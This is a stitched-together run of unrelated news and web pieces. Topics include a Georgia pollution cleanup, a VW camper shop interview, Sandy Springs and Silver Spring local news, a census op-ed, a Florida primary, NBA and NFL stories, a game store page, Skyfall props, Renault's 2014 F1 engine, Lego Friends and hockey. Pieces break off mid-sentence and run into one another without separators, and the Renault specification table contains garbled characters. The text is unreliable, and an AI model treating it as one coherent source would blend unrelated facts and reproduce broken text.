However, EPD on March 31 ordered further testing on whether the polluting chemicals could be entering nearby homes in the form of vapor.
“We had some concern about potential vapor intrusion for residents on the back side,” Brownlee said. “They’re up high on the hill, which is a good thing for them.” But data on that possibility is still being collected from test wells, so “we don’t have information” yet, he said.
Abbe Seitzman, president of the North Springs Homeowners Association, which includes those nearby homes, said there have been rumors and conversations circulating about the pollution concern, but no solid information. The neighborhood also has heard only rumors about possible sale or redevelopment of the center, she said.
Brownlee said EPD understands from the owner that the property will be redeveloped, but no other details.
“They haven’t told us how it’s going to be redeveloped. That’s one of the questions we had,” he said, adding that a residential use would require more thorough pollution cleanup.
“They want to clean up the property so it can be redeveloped or go as a brownfield for sale to some other developer,” Brownlee added. “That’s why they were aggressive about cleaning it up.”
He estimated the costs for the currently proposed cleanup at around $200,000.When it comes to restoring your bus, you want a shop you can trust! There are plenty of good shops out there, but we stopped at Westy-Werks last time we were in California… here’s a little interview with Jonathan Jurgens who founded the shop in 2004.
When did you get your first Westy and which model was it?
My first Westy was not actually a Westy at all. I opened my shop in 2004 and by 2005 had saved up enough money that I could afford a VW bus of my own. Although I desperately wanted a camper I needed a shop truck much more. So I bought a 1959 VW Single Cab pick up truck. I also bought a Canvas tilt canopy for it ( Basically an old school camper shell made out of canvas). During the week the truck was my daily driver and also parts getter. On the weekends I would throw a futon mattress in the back and use it as my camper. The old VW trucks actually have a really big and lockable side cabinet referred to as a treasure chest. I would not hesitate to use the truck again as a camper it was great. Only I have gotten a little spoiled these days as I own a decked out 1990 Syncro Westfalia.
Jonathan’s daily driver! (photo: Westy-Werks)
Which Westfalia model is your favorite and why?
My favorite model of the VW Westfalia is the Syncro full camper. The best years in my opinion are the 1990 and 1991. In these years the only way you could get a Syncro Westfalia was fully optioned meaning cruise control, power windows, power mirrors etc. Also by 1990 they had refined the vehicles slightly and even stiffen up the body on the Syncro’s. If you see an older model Syncro that has been off road quite a bit you will notice that quarter panels are slightly buckled or wavy. The reinforcements to the body starting I believe in 1990 help to reduce this greatly. I also like the full camper primarily for the amount of storage space that it has. I don’t actually use the stove in my van at all. In fact I don’t even have a propane bottle mounted to the van.
1990 Syncro full camper (photo : Google)
When You’re looking to buy a Westfalia, what are the most important parts to take a look at?
Bening that you are most likely buying a Westfalia to travel in and not just put around town. The mechanics to the vehicle like engine, transmission, brakes etc are the most important. You don’t want to be breaking down all the time in strange tows or out in the middle of nowhere. You also do not want to duty a van that has lots of rust issues. Even if the rust does not bother you that much it will cost you much more later on for repairs when nuts and bolts are rusted in place. If you are looking to buy a Westy we always recommend having it inspected by a professional first.
What are the most useful tools to keep in your vehicle?
Well I can tell you what I carry. A basic set of metric wrenches and sockets, ball peen hammer, flash light, side cutters, a couple pair of pliers, a couple screw drivers. I also carry some really basic supplies as well. Gorilla tape, bailing wire, engine belts, a throttle cable, oil, water, Some basic electrical connectors. And probably the most important things of all a jack and lug nut wrench just in case you get a flat tire.
Would you say it is worthed to convert to a Subaru engine?
Oh Man, I get asked this question a lot. If you are an extremely mechanical person and basically do the conversion yourself then it might be worth it. The problem with a conversion as I see it is the fact that it is a conversion. There are lots of people doing conversions and many of them do them slightly different than the next guy. The problem is not really a problem as long as you are close to the shop that did the work and as long as they did a good job in the first place. The problem arises when you are on the road and break dow especially in a remote place. It can be hard enough to find a shop that works on VW Vanagons in the first place now try and find a shop that works on Vanagons with Subaru engines. Don’t get me wrong Subaru makes a really nice engine I just prefer a basically stock set up with some improvements made to add a little HP and torque. If you do unfortunately break down I feel that your odds of getting back on the road quickly and with as little hassle as possible will be much higher with a VW engine in your van.
Could you name 5 useful accessories to add to your bus?
Sure:
Auxilary battery system and power inverter.
Awning.
Solar panel.
An AC/DC powerd fridge. ( no more searching for ice)
A nice mattress topper.
What was the most expensive restoration project you did?
The most expensive van that we built so far was in the $100K range.
Do you sleep with head close to the trunk or the other way around?
Closest to the back of the van.A major mixed-use project—featuring a six-story, 236-unit apartment building and a five-story office building—will start going up soon at Peachtree-Dunwoody Road and Roberts Court in Sandy Springs.
Despite its size and prominent location on a 10-acre site across Peachtree-Dunwoody from the North Springs MARTA station, the project by Trammell Crow Residential has been moving ahead quietly. In part, that’s because it is already allowed under a 2001 rezoning for an even bigger project that triggered a major controversy and legal battle, but never got built.
A 2002 legal settlement between the Sandy Springs Council of Neighborhoods and the original developer, Sandy Springs’ Charlie Roberts, has requirements for landscape buffers and screening, including a 2-acre “conservation easement” or private park. Trammell Crow Residential will fulfill those legal obligations, according to developer attorney Chip Collins and Council of Neighborhoods president Trisha Thompson.
“The Council of Neighborhoods is very excited that this long, 10- or 12-year [project] and rezoning is finally coming to fruition with a use that is less intense than the original rezoning and is more in line with the character of the neighborhood,” said Thompson. The group is also pleased “that a large area will be set aside in a permanent conservation easement for the benefit of the entire neighborhood,” she said.
Roberts’ original project was approved by Fulton County before the city of Sandy Springs incorporated. A proposed redevelopment of a site that had only a single house, it featured a 14-story apartment building, a 12-story condominium tower and a 10-story office tower, among other uses.
“What they’re doing is a lot less dense,” Collins said of Trammell Crow Residential. “The condos are gone and the apartments are less in density. The office [space] is less dense.”
The office building will have about 125,000 square feet of space, and the apartment building will have some ground-floor retail space, Collins said. The apartments and offices will wrap around a shared parking deck, he added.
The developers bought the property late last year and expect to start construction in April, Collins said. He estimated construction will last 18 to 24 months.
The legal settlement has several provisions, including a $7,500 allowance to each neighboring resident to install their own landscape screening. But the biggest provision is the conservation easement, a green space with trails that will be overseen by the Sandy Springs Conservancy, according to Thompson. It will be open to abutting residents, but not the general public.
The green space will serve as a “as a permanent buffer between the development and the neighborhood,” Collins said. “It will be basically a private park. It’s not a public park.”
However, the exact details of the agreement are still being discussed in meetings with the Council of Neighborhoods and area residents. Thompson said there are still some details she questions, such as screening for the parking garage.
The agreement requires approval by the Sandy Springs City Council, and the developers sought that approval at the March 1 council meeting. However, the council deferred it at least partly at Thompson’s request so that there would be more time to review it. The council and city staff did not explain the full purpose of the agreement or any details of the overall project.
“This is not done out of a sense of anybody not doing what they’re supposed to do…[but rather] so nobody feels like they’re being tricked,” said Councilman Gabriel Sterling, as he called for the deferral to the council’s Tues., March 15 meeting.
“This has been a very cooperative undertaking since Trammell Crow [Residential] has gotten involved,” Collins said, adding he does not expect any changes to the proposed agreement. “This is just about working with the neighbors to make sure we’re fulfilling all requirements of the earlier settlement.”Montgomery Parks’ Pump Track, part of its Pop-Up Programming, is available at Fairview Road Urban Park. (David Lay/Source of the Spring)
A Pump Track has appeared at Fairview Road Urban Park in Downtown Silver Spring, as part of Montgomery Parks’ Pop-Up Programming.
As part of an effort to attract more visitors to its parks, Montgomery Parks is offering free programming at select parks.
Several activities are being offered at select locations around Montgomery County:
Make and Take: Create something special to take home right in your neighborhood park.
Pop-Up Recess: Join a Montgomery Park Play Specialist in a park near you to play with giant board games, balls, jump ropes and more fun things to play within the park. Pop Up Recess is fun for the whole family.
Touch a Truck: Whether they are climbing into the cab of a backhoe, riding in a bucket truck or turning a police cruiser lights on children of all ages can explore and learn about the trucks that help upkeep Montgomery County’s urban parks.
Pump Track: The mobile speed ring pump track is great for learning how to ride on a pump track or for fine-tuning your skills. Montgomery Parks pump track will be located at a park for a month. Visit the pump track from sunrise to sunset. If you don’t have a bike or helmet no worries check the schedule to see when and where the Play Specialist will be with bikes and helmets.
Rock Wall: Have you ever wanted to go rock climbing but just haven’t worked up the nerve? Why not give Montgomery Parks mobile climbing wall a try first? The climbing wall is twenty- six feet tall and you can try your hand at rock climbing skills in a local park.
Tree Climbing: Come climb a giant tree in Montgomery Parks! Join our arborists as they provide safety gear, assistance, and encouragement to help kids put their heads in the clouds and see our parks from a new perspective. Tons of fun and free for all! Let’s see how high you can climb!
Cozy Community Day: What better way to spend your time than in a local park around a cozy fire with friends, neighbors, and a surprise snack.
Movie Night: Bring your chairs, blankets, picnic baskets and sit back and relax while you enjoy a movie under the stars with your family, friends, and neighbors.
The Pump Track is available at Fairview Road Urban Park, located at 8900 Fairview Road in Downtown Silver Spring.
Follow Source of the Spring on Facebook, Twitter and Instagram. Sign up for our free Weekly Newsletter here. Submit events to our Community Events Calendar here. Please send tips and questions through our News Tips form, or email [email protected]
Learn how to support Source of the Spring here.
See something around town? Tag your photos on Twitter & Instagram with #SourceShots.Vincent P. Barabba, a member of the California Citizens Redistricting Commission, was census director from 1973 to 1976 and from 1979 to 1981. Kenneth Prewitt, a professor at Columbia University, was census director from 1998 to 2001.
The census, one of the most important activities our government undertakes, is under threat by uncertain funding and a leadership vacuum at a crucial moment. As former directors of the U.S. Census Bureau, serving in both Republican and Democratic administrations, we urge President Trump to act swiftly and the Senate to cooperate in naming a new director as the 2020 Census nears.
The immediate task is to nominate someone who can provide stability through the final years of the decade, explain the importance of the agency’s mission compellingly, address Congress’s fiscal concerns and be ready for full immersion in the important tasks at hand.
Equally important is a serious increase in funding for next year, ramping up further in 2019. This is a critical period in which to begin operations, including well-researched advertising messages, staffing and training an army of temporary workers, opening field offices and testing new technology. The Census Bureau cannot do any of this at the last minute, just as the Defense Department cannot prepare for military action when a threat is imminent.
The decennial census — the once- a-decade effort to count every person living in the United States — is an enormous and complex task. It is specifically required by the U.S. Constitution because it is essential to our representative government. Census data will be used to determine how many U.S. representatives each state gets and to draw voting districts for the House, state legislatures, city councils and school boards.
More than $600 billion a year for vital services such as highway construction, low-income energy assistance, maternal and child health, and food assistance flows to states and communities based on census-derived data. Nonprofit agencies and businesses rely on census data to evaluate population trends and community conditions and to target their services and investments effectively.
The Census Bureau is in the critical phase of preparing for its “dress rehearsal.” It must occur on schedule, and it must be robust enough to thoroughly test procedures new to Census 2020. These include the first-ever option to respond to the census online and to equip census takers with Internet-connected devices to save time and dramatically cut paperwork.
New procedures and technology — deployed for the first time from start to finish — will have glitches that can be fixed if found in 2018, but that opportunity will rapidly pass, even if sufficient funds are provided. The Air Force does not send a new fighter plane directly from the assembly line to the front lines, skipping the test phase. Neither should we expect the census to field new procedures without thorough testing.
The 2020 Census faces unprecedented challenges in collecting data, including fear of government authorities in immigrant communities, cybersecurity threats (real or perceived) and uneven access to reliable Internet service, which could disadvantage rural, low-income and older households. The nation needs a Census Bureau director with the capabilities to navigate these minefields credibly and deliberately. He or she must have the confidence of public officials from both sides of the political aisle, at all levels of government, as well as the confidence of the American public.
In 2011, Congress passed a law that requires the census director to “have a demonstrated ability in managing large organizations and experience in the collection, analysis and use of statistical data.” The law calls for the director to serve a renewable five-year term to ensure continuity in planning and operations and to help make the Census Bureau effective, accountable and less susceptible to partisan pressures. In fact, the law specifically calls for the nomination of a candidate “without regard to political affiliation,” signaling that the census director’s objectivity is vital to ensuring confidence in the agency’s statistics and methods.
It is encouraging that Commerce Secretary Wilbur Ross appointed interim leaders for the Census Bureau from among the agency’s dedicated, experienced career staff. But they cannot wield the credibility and influence that a permanent director can have across the administration and before Congress and the American people.
There will be no second chance to get the 2020 Census right. Delayed funding cannot make up for preparation that should already be underway. We will all live with the results for a decade. The health of our democracy — and the well-being of individuals, families and communities — requires our elected leaders to find common ground and serve the common good. Identifying, nominating and confirming a qualified, trustworthy director for the U.S. Census Bureau must be a top priority for administration and Senate leaders.Rep. Debbie Wasserman Schultz's political troubles aren't over yet.
ADVERTISEMENT
The Florida Democrat is facing the toughest political race of her life after ending her controversial tenure as leader of the Democratic National Committee (DNC).
Her House seat is on the line in a primary race against well-funded challenger Tim Canova, and the battle is heating up amid the fallout from her resignation following the leak of hacked emails that showed DNC officials plotting to undermine Sen. Bernie Sanders Bernard (Bernie) SandersSenate Dems seek to turn tables on GOP in climate change fight Bernie Sanders Town Hall finishes third in cable news race, draws 1.4 million viewers Woman to undecided Biden: 'Just say yes' to 2020 bid MORE's (I-Vt.) presidential campaign in the Democratic primary.
Some think the race has changed after the former chairwoman’s tough week.
“I think this has really shifted the race,” said Kathryn DePalo, a political science professor at Florida International University. “I think she’s going to have a tough fight. I think she’s probably going to win, but it’ll be close.”
She added that a Canova victory would not be a surprise. “I think that’s how devastating these email leaks have been,” DePalo said.
Wasserman Schultz was booed off the stage by Sanders supporters at the Florida delegation breakfast on the first day of the Democratic National Convention in Philadelphia last week.
“The constant refrain that I heard is she can eke it out,” said Susan MacManus, a political science professor at University of South Florida in Tampa.
But MacManus said it won’t be without a fight.
“She’s got to come home and work her constituency,” she said. “She hasn’t had to for years.”
State Sen. Eleanor Sobel, a Clinton delegate whose district overlaps with Wasserman Schultz’s congressional district, also attended the breakfast and brushed off the prospect that this will hurt Wasserman Schultz's reelection bid.
“Most people understand Debbie as someone who is very caring,” Sobel said. “She’s part of the fabric of our community.”
Canova has been trying to build momentum.
He’s already raised an eye-popping $2.3 million since entering the race in January, and his alignment with Sanders has won him attention and an endorsement from the senator himself.
Canova said he’s been nonstop campaigning for the past eight months as he criss-crosses the district to meet as many constituents as possible. The DNC leak exudes her “bad judgment” and has rallied more people to his campaign, he said.
“We’re seeing a lot of energy come our way,” Canova told The Hill. “We built a very good field operation to ride the wave that’s come in now.”
A political consulting firm run by top aides to the Sanders campaign has joined Canova. The firm, run by Tad Devine, Julian Mulvey and Mark Longabaugh, was tasked with handling advertising as well as advising Sanders during the primary.
One big question is whether Sanders will campaign for Canova in Florida.
Canova said he spoke to Sanders’s campaign manager before the convention and that talks will continue, but no plans have been confirmed.
Wasserman Schultz, the state’s first Jewish congresswoman, is a well-known fixture in her predominantly Jewish district. Her campaign did not return a request for comment.
She also appears to have an advantage in that her constituents voted overwhelmingly for Clinton in the March primary.
Those who live in her district describe her as a tireless campaigner who’s well liked and well known.
Some observers are |
I don't know. That's a T-Lue question."
Are LeBron and Kyrie destined for more NBA Finals podiums? Cary Edmondson-USA TODAY Sports
Lue conceded to ESPN that Irving's sometimes-low assists totals "could be my fault, because we need him to be aggressive scoring the basketball." As talented as the Cavs' roster is, Lue asks a lot of Irving in terms of individual scoring and always keeping Cleveland on the attack.
Lue wouldn't ask so much of him if he didn't think Irving could handle it.
"I just think he's grown as a player since I've been here," Lue said. "Each year he's grown"
James, of course, has nurtured that growth.
"All the other stuff -- about being a professional, taking care of your body, eating right, training -- I think LeBron has done a good job of just showing him that way," Lue said.
Griffin hears Irving being more vocal these days in practices, in shootarounds, in huddles, and marvels at Irving's development.
"I think it was difficult for him to just accept, 'Look, LeBron already accepts you. LeBron already knows you're great. You were a huge part of the reason he wanted to come back,'" Griffin said. "And once I think he got comfortable with that, I think it started to become a much more natural thing. There's still moments where you can tell there's still some trepidation, like, 'Am I supposed to go be the alpha now? Am I supposed to go get one? Or is he supposed to go get one?' I think that's difficult at times, because they're both good dudes and they want to be received well by their teammates. And so I think finding how to pick his spots on the court has been a big deal, but he's learning all of the right things to do off the court. So it's great."
James feels sort of like the Hollywood director who plucks an actor from an off-Broadway play and inserts him into a summer blockbuster as the star.
"He basically was just waiting for an opportunity to be able to blossom, and I'm just happy and blessed that when I decided to come back that I was able to help him blossom, I guess, because he gets to play in games that he's always been built for," James said after Game 4 of the Boston series. "He was already built for it. His game was built for it, and I'm happy, like I said, to be able to, I guess, sit back with four fouls and see him do what he's always been built to do. He was born for these moments."
Call them partners. Call them mentor and protégé. Call them big brother and little brother. But don't call them destined to be together forever.
James is aware that Irving's time is quickly approaching.
"First of all, I don't know how Kobe and Shaq managed their partnership. All I can know, from the outside looking in, [is] that it didn't work out," James told ESPN. "For me, I see Kyrie growing every single day and wanting to be great. And so me, I just try to give him the blueprint, as much as I can. You know, his experiences, he's going to learn on his own as well, and that's what he should do, but all I can do is give him the blueprint, and that's it. Because he's going to be around a lot longer than me.
"He's 25. He's got at least 10 more years. I don't. So I want to give him the blueprint and see what he [can] do with it. You know, no matter if we're teammates for the rest of his career or for the rest of my career, listen, it won't be because we didn't want to play with each other no more. It will never be that."NOTICE:
OS: Windows 7, 8, 10 (64-bit)
Processor: Intel Core 2 Duo E8400 3.0GHz or AMD Phenom II X2 550, 3.1GHz
Memory: 2 GB RAM
Graphics: GeForce 9800 GTX or AMD Radeon HD 4850
DirectX: Version 9.0c
Storage: 15 GB available space
Sound Card: DirectX 11 compatible
OS: Windows 7, 8, 10 (64-bit)
Processor: Intel Core i5-750, 2.66GHz or AMD Phenom II X4 965, 3.2GHz
Memory: 4 GB RAM
Graphics: GeForce GTX 560 or Radeon HD 7870
DirectX: Version 9.0c
Storage: 15 GB available space
Sound Card: DirectX 11 compatible
© MUTSUMI INOMATA
© KOSUKE FUJISHIMA
Tales of Berseria™ & © BANDAI NAMCO Entertainment Inc.
Activation key must be used on a valid Steam account, requires internet connection.A tale of emotion versus reason…In, players embark on a journey of self-discovery as they assume the role of Velvet, a young woman whose once kind demeanor has been replaced and overcome with a festering anger and hatred after a traumatic experience three years prior to the events within TALES OF BERSERIA. Velvet will join a crew of pirates as they sail across the sea and visit the many islands that make up the sacred kingdom of Midgand in an all-new adventure developed by the celebrated team behind the TALES OF series.Veteran TALES OF character designer Mutsumi Inomata has personally designed Velvet and famous Japanese animation studio, ufotable, returns to animate the game’s breathtaking cutscenes; delivering truly epic and emotional storytelling in their unique style.Minimum:Recommended:These days filmmakers often turn to computer graphics for scenes of destruction that would otherwise be too expensive or dangerous to stage in real life. But Skyfall posed a different problem. Namely that the effects crew didn't want to damage a priceless 1960 Aston Martin DB 5 that appeared in the original Bond film 50 years ago.
So instead of turning to 3D graphics, they turned to 3D printers.
The effects crew modelmakers called on a company called Voxeljet, who used a massive 3D printer with a capacity of 283 cubic feet to reproduce three 1:3 scale models of the Aston Martin. Each pseudo-miniature was actually assembled from 18 individual components so that they could be assembled with real-life functionality such as opening doors, trunks, and hoods. Unfortunately one of the models met its untimely death in an elaborate Hollywood-esque explosion, but its sacrifice ensured the original DB 5 was not harmed in the making of the film. [3ders.org via Damn Geeky]Fifty years ago, as the initial first-round draft choice of Atlanta's newborn NFL team, Tommy Nobis embodied the hope that now flows through his adopted hometown as the Falcons face the New England Patriots in Super Bowl LI.
In Atlanta, his name and No. 60 adorn the Falcons' Ring of Honor and the headquarters of Nobis Works, the nonprofit he helped create in 1977 that has trained disabled clients to fill 25,000 jobs in 17 states.
He also holds a place of honor in his home state of Texas, where for years after he departed the University of Texas as a two-time All-American, freshman players were required to face his photo, place hand over heart and sing the song that summarized his sideline-to-sideline style: "The eyes of Texas are upon you, all the livelong day …"
Super Bowl Sunday, however, likely will be a quiet day at the Nobis home in suburban Atlanta.
Perhaps Nobis, 73, will watch the game on television with his wife of 50 years, Lynn; he watched the Falcons' NFC Championship Game victory over Green Bay but gave no clue as to whether he knew what his old team had accomplished.
"We've told him the Falcons are in the Super Bowl, and we wear red and black," Lynn Nobis said. "But it doesn't seem to click. I don't know if he understands."
Like many of his NFL and college contemporaries, Nobis has physical and cognitive ailments. He is among 250-plus past or present beneficiaries of the 88 Plan, the NFL program that reimburses retired players for expenses for treatment arising from dementia, Parkinson's, ALS or other neurological disorders, and he was among the plaintiffs in the recently settled NFL concussion lawsuit.
He is, from the banks of the Colorado River in Austin to Peachtree Creek in Atlanta, a genuine football icon who today, with his family, must shoulder the fearsome toll taken by the sport he loved.
"It's sad what football has done to these players," Lynn said. "But I know he loved it more than anything. He wouldn't have had it any other way."
Lynn and Tommy Nobis grew up in San Antonio (he attended Jefferson High School; she went to Alamo Heights). At Texas, he played center and middle linebacker as part of Darrell Royal's defense that harassed Navy's Roger Staubach in the 1964 Cotton Bowl and stopped Alabama's Joe Namath inches short of pay dirt in the 1965 Orange Bowl.
"I'd like to have seven Nobises," Royal once said. "But that wouldn't be fair."
He made the cover of Sports Illustrated and Life magazine with his freckles, red-haired crewcut and 191/2-inch neck. Sportswriter Mickey Herskowitz described him as "Huckleberry Finn with muscles."
A winner playing for losers
After UT, Nobis was a prime target in the AFL-NFL signing skirmishes. The AFL Oilers wanted him. Astronaut Frank Borman radioed in from Gemini 7: "Tell Nobis to sign with Houston."
But Nobis opted for the NFL and the expansion Falcons. He was the NFL's Defensive Rookie of the Year in 1966, averaging 21 tackles a game, and he was a five-time Pro Bowl selection and three times a first- or second-team All-Pro.
"He was the team," said Jerry Rhea, a fellow Texan who was for years the Falcons' athletic trainer. "He was the face of the franchise. We weren't winning, but he was a winner."
Slowed by injuries in 1969 and 1971, Nobis retired in 1976 having played for teams with a combined record of 50-100-4 with no playoff appearances. Accordingly, while he is a member of the Texas High School Football Hall of Fame and College Football Hall of Fame, he has never come close to enshrinement in the Pro Football Hall of Fame.
"With any other team, he would be in the Hall of Fame," said longtime Falcons teammate and former University of Houston player Greg Brezina. "He has always been the measure of a Falcons player. Even with the success of this year's team, he is the greatest Falcon ever, not only for his play but his character."
Nobis remained with the Falcons in a variety of capacities after retirement, but that relationship ended with Arthur Blank's purchase of the franchise.
His other post-retirement focus, along with his family, was the Tommy Nobis Center and its vocational training programs.
"Tommy was really involved," said Nobis Works CEO Dave Ward. "He was never happier than when he was with the people in this building, advocating and getting people hired with the same passion he devoted to football."
Nobis kept in touch with Falcons alumni and his UT teammates, some of whom held a mini-reunion in Atlanta five years ago. Six months ago, he spoke to his hometown San Antonio Express-News about his days playing sandlot football on the city's East Side.
Now, however, he has grown silent. He was hospitalized three times and spent time in assisted living before Lynn moved him back home, where she said he seems more at ease.
"We've been married 50 years as of last June, for better and worse," she said. "He would have done the same for me."
The cognitive issues faced by former players, including chronic traumatic encephalopathy, the degenerative brain disease that has been diagnosed post-mortem in more than 300 patients, "is a family disease," said Lise Hudson, whose husband, Nobis' former UT teammate Jim Hudson, died from CTE in 2013.
"What can you say when a man looks at his children and they're trying to get him to remember the house they were brought up in and he says, 'I'm just glad I remember you?' " Hudson said. "The bad thing about CTE, one of many, is that there are times when they are lucid and know what is happening. It's a slow, slow death."
Nobis suffered at least three concussions in the NFL plus an unknown number in college and high school. During his UT days, he said that in the trenches on the goal line, "Your first contact is with your head. When you're 2 yards from a touchdown, you're gutting it."
Brain going to research group
As she contemplates the approaching end, Lynn Nobis hopes to return her husband's remains to Texas, perhaps to the campus where he became the greatest Longhorns defender ever. His brain, she said, will be donated to a research group in Atlanta.
Another group, the Boston-based Concussion Legacy Foundation, has received 1,467 pledges from former athletes and military veterans and announced Thursday that 30 former NFL players, including former 49ers offensive lineman and CBS Sports analyst Randy Cross, had pledged their brains to research as part of the first Brain Pledge Month.
Chris Nowinski, the former college football player and pro wrestler who is co-founder and CEO of the foundation, said each donated brain helps spur research into CTE through a network of more than 50 study groups worldwide.
"Last year, the first post-mortem diagnostic criteria were published, and we are much closer to diagnosing it in living people," Nowinski said. "With increased awareness, we have a chance to prevent the disease in the next generation. There's less hitting in practice, fewer kids are playing football at 5 years old, and we are turning this thing around."
Football provided a good life for Tommy Nobis and his family, and his wife is grateful. She knows he is grateful as well.
"There are so many things I look back on now," she said. "We have three kids and eight grandchildren, all of them here, and we enjoy them. Tommy loved the guys he played with. He loved the game. He loved to watch it. He loved everything about football. Sometimes I get sad and have a pity party, but God has blessed us. We're good."
And on this Super Bowl Sunday, with Atlanta playing for the Lombardi Trophy, she adopts the phrase that has been a rallying cry for the Falcons and their fans.
"I'll just say, 'Rise up,' " Lynn said.Renault have revealed the engine which their teams will use during the 2014 F1 season.
The 2014 season will see teams ditch the existing 2.4-litre V8 normally-aspirated engines for new 1.6-litre V6s with sophisticated energy recovery technologies.
President of Renault Sport F1 Jean-Michel Jalinier introduced the new power unit, named Energy F1: “From next year, one of greatest challenges in F1 will be to maximise energy efficiency and fuel economy while maintaining the power output and performance expected of F1 cars.”
“Renault has pioneered this technology in its road car engine range with the Energy series. Naming the power unit Energy F1 creates an unbroken range, from the Clio through to our competition department.”
Renault engines have powered the world championship-winners for the last three seasons. They will continue to supply reigning champions Red Bull next year as well as Toro Rosso.
The complete engine unit for 2014 will be heavier than the current design, as director of programmes and customer support Axel Plasse explained:
“The current V8 is 95kg, 100kg if you add the weight of the MGU. This increases to 120kg when you include the ancillary parts, such as the radiators and other cooling devices. With the 2014 power unit, the V6 turbocharged engine will be a minimum of 145kg, plus 35kg for the battery. At 180kg, this is a 80% increase over the current units, plus a further 20kg for the ancillaries such as the intercooler and other radiators.
In response to speculation over how the new engines will sound, Renault have released an audio clip of theirs being revved. Deputy managing director (technical) said the engine will retain an appealling sound: “The sound of the engine is the sum of three principal components, exhaust, intake and mechanical noise. On fired engines, exhaust noise dominates, but the other two sources are not trivial and would be loud if the exhaust noise was suppressed and contribute to the perceived sound of the engines in the car.
“All three sources are still present on the V6. At the outset, there is more energy in each combustion event but there are fewer cylinders turning at lower speed and both intake and exhaust noise are attenuated by the turbo. Overall, the sound pressure level (so the perceived volume) is lower and the nature of the sound reflects the new architecture.
“The car will still accelerate and decelerate rapidly, with instant gearshifts. The engines remain high revving, ultra high output competition engines. Fundamentally the engine noise will still be loud. It will wake you from sleep, and circuit neighbours will still complain. The engine noise is just a turbocharged noise rather than a normally aspirated noise: you can just hear the turbo when the driver lifts off the throttle and the engine speed drops.
“I am sure some people will be nostalgic for the sound of engines from previous eras, including the preceding V8, but the sound of the new generation power units is just different. It?������s like asking whether you like Motorhead or AC/DC. Ultimately it is a matter of personal taste. Both in concert are still pretty loud.”
2013 and 2014 Renault F1 engines compared
RS27 (2013) Energy F1 (2014) Engine Displacement 2.4 litres 1.6 litres Rev limit 18,000rpm 15,000rpm Pressure charging Normally aspirated, pressure charging is forbidden Single turbocharger, unlimited boost pressure (typical maximum 3.5 bar abs due to fuel flow limit) Fuel flow limit Unlimited, but typically 170kg/h 100kg/h (-40%) Permitted Fuel quantity per race Unlimited, but typically 160kg 100kg (-35%) Configuration 90?�?? V8 90?�?? V6 Number of cylinders 8 6 Bore Max 98mm 80mm Stroke Not regulated 53mm Crank height Min 58mm 90mm Number of valves 4 per cylinder: 32 4 per cylinder: 24 Exhausts Twin exhaust outlets, one per bank of cylinders Single exhaust outlet, from turbine on car centre line Fuel Indirect fuel injection Direct fuel injection Number of power units permitted per driver per year 8 5 Energy recovery systems MGU-K rpm Unlimited (38,000 rpm) Max 50,000 rpm MGU-K power Max 60kW Max 120kW Energy recovered by MGU-K Max 0.4 MJ/lap Max 2MJ/lap Energy released by MGU-K Max 0.4MJ/lap Max 4MJ/lap MGU-H rpm – >100,000rpm Energy recovered by MGU-H – Unlimited (> 2MJ/lap)
2014 F1 season
Image?�?� RenaultTampa Bay Buccaneers right tackle Demar Dotson underwent an MRI on Sunday morning to determine the severity of the knee injury he sustained in Saturday night’s preseason opener against the Minnesota Vikings.
The MRI showed that Dotson’s ligament is intact and it’s being treated as a knee sprain, a source tells FOXSports.com.
Dotson, who is widely considered to be the Buccaneers’ best lineman, suffered the injury in the second quarter in the 22-11 loss.
Article continues below...
The Buccaneers’ offensive line appeared shaky in the opener as rookie quarterback Jameis Winston was sacked twice and hurried quite often. Winston completed 9 of 19 attempts for 131 yards and an interception.
Tampa Bay is banking on two rookie linemen – former Penn State offensive tackle Donovan Smith and former Hobart offensive guard Ali Marpet – to protect its young passer.
Dotson, who is set to make $2.5 million in base salary this season, staged a brief holdout before the first set of mandatory workouts in June. Dotson, though, stopped his holdout as he wasn’t willing to deal with the fines that come with missing mandatory practices.
The Bucs acquired Dotson in a trade with the Bears for former first-round pick Gabe Carimi in 2013Cross-posted at Ms.
A few years back we published this fantastic ad for Legos as an example of gender-neutral advertising. It appeared in 1981; during my childhood, I’m happy to say.
The ad offers nice context for the new effort by Lego to capture The Girl Market. Their new line of Legos, Lego Friends, has gotten a lot of attention already. In the circles I run in, it’s being roundly criticized for reproducing stereotypes of girls and women: domesticity, vanity, materialism, and an obsession with everything being pastel. Kits include a house, cafe, animal hospital, tree house, beauty salon, and an inventor’s lab. Choice examples:
The new line also includes a new Lego figurine that is taller, thinner, and more feminine, with boobs. There is no innovation here; it is the exact same makeover that we’ve seen in recent years with Dora the Explorer, Strawberry Shortcake, Holly Hobbie, Lisa Frank, Trolls, Cabbage Patch Kids, My Little Pony, Rainbow Brite, and Candy Land (or visit our Pinterest collection of Sexy Toy Make-Overs).
Examples of the old “mini-fig” and the new “mini-doll” available at The Mary Sue.
The company is framing their new line for girls with “science.” Executives are going to great lengths to explain that the line is based on research, using anthropologists who spent time with girls in their homes. The frame gives the company an excuse for reproducing the same old gender stereotypes that we see throughout our culture. They can shrug their shoulders and say, “Well, what are we to do? This is what girls want.” In this way they are trying to make it clear that they shouldn’t be held accountable for the messages their products send.
But it’s no accident that girls feel alienated from Lego.
According to Business Week, Lego has spent most of the last decade focusing their products on boys. They have deliberately designed products that they expect will appeal to boys and included boys almost exclusively in their marketing material. Today Legos are shelved in the boy aisle is most toy stores.
So, basically, what Lego has done over the last few decades is take a truly wonderful gender-neutral toy, infuse it with boyness, and tell every kid who’ll listen that the toy is not-for-girls. Now, stuck with only 50% of the kid market, they’re going after girls by overcompensating. And, to top it all off, they’re shaking their heads and doing “science” to try to figure out girls, as if they’re some strange variant of human that regular humans just can’t get their head around.
In fact, girls don’t feel like the toy is for them because Lego has done everything in its power to ensure that they will not.
The market research manager sums up Legos’ impression of what girls want this way: “The greatest concern for girls really was beauty.” How ironic, because the true beauty of Lego is its ability to inspire creativity, not enable conformity. They somehow knew that back in 1981.
(An ad that deserves being looked at over and over.)
Thanks to Anjan G., Sangyoub P., Rachel W., Dolores R., Erin B., Christie W., and Paul K. for suggesting that we write about this!It’s a debate that has raged for as long as pucks have been smacked around with sticks on ice: who is the greatest of all-time?
I can end the debate right now; there is no way to know. There’s just no way to know how good some of today’s superstars would be if they had played in the 1980’s, just as there is now way to know how the likes of Wayne Gretzky, Mario Lemieux, Bobby Orr or Gordie Howe would fare in other eras.
The simple fact is that different eras of hockey vary too much to accurately compare players. There is no definitive way to say who the greatest of all time is, or even the greatest of each generation.
But that won’t stop me from trying.
